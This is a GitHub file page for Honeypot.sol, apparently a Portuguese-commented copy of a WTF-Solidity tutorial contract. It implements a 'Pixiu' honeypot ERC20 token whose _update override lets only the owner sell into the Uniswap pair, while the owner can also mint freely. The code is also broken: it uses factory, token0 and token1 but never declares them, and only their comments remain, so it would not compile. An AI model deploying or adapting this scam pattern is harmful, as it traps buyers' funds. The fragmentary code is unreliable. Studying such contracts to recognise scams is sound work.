forked from AmazingAng/WTF-Solidity
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathHoneypot.sol
47 lines (43 loc) · 1.43 KB
/
Honeypot.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
// Token ERC20 de Pixiu extremamente simples, apenas para compra, não é possível vender.
contract HoneyPot is ERC20, Ownable {
address public pair;
// Construtor: inicializa o nome e o código do token
constructor() ERC20("HoneyPot", "Pi Xiu") Ownable(msg.sender){
// goerli uniswap v2 factory
// Endereço do token Pixiu
// goerli WETH
//Ordenar tokenA e tokenB em ordem crescente
bytes32 salt = keccak256(abi.encodePacked(token0, token1));
// calcular endereço do par
pair = address(uint160(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
salt,
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
)))));
}
/**
* Função de construção, apenas o proprietário do contrato pode chamar
*/
function mint(address to, uint amount) public onlyOwner {
_mint(to, amount);
}
/**
* @dev Veja {ERC20-_update}.
* Função Pixiu: apenas o proprietário do contrato pode vender
*/
function _update(
address from,
address to,
uint256 amount
) internal virtual override {
if(to == pair){
require(from == owner(), "Can not Transfer");
}
super._update(from, to, amount);
}
}